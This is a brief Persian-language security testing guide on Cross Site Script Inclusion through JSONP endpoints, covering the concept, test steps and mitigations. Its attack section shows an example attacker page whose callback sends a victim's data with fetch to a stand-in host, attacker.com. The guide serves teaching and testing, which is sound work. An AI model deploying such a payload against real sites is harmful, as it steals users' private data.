تست Cross Site Script Inclusion

XSSI چیست؟

Cross Site Script Inclusion (XSSI) آسیب‌پذیری است که به مهاجم اجازه می‌دهد داده‌های حساس را از طریق تگ‌های script بارگذاری کند. این معمولاً از طریق JSONP انجام می‌شود.

JSONP چیست؟

JSONP (JSON with Padding) مکانیزمی برای دریافت داده cross-origin است که از تگ script استفاده می‌کند. این مکانیزم خطرناک است زیرا داده‌ها در context JavaScript اجرا می‌شوند.

روش حمله

1<!-- صفحه مهاجم -->
2<script>
3function callback(data) {
4    // ارسال داده به سرور مهاجم
5    fetch("https://attacker.com/steal?data=" + JSON.stringify(data));
6}
7</script>
8<script src="https://target.com/api/user?callback=callback"></script>

روش‌شناسی تست

مرحله ۱: شناسایی JSONP

API‌هایی که از JSONP پشتیبانی می‌کنند شناسایی کنید.

مرحله ۲: تست سرقت داده

• بررسی آیا داده با GET قابل دسترسی است
• تست بارگذاری داده از صفحه مهاجم
• بررسی callback function

راه‌حل

• عدم استفاده از JSONP
• استفاده از CORS به جای JSONP
• محدود کردن دسترسی به داده‌های حساس
• استفاده از POST برای داده‌های حساس
• بررسی Referer/Origin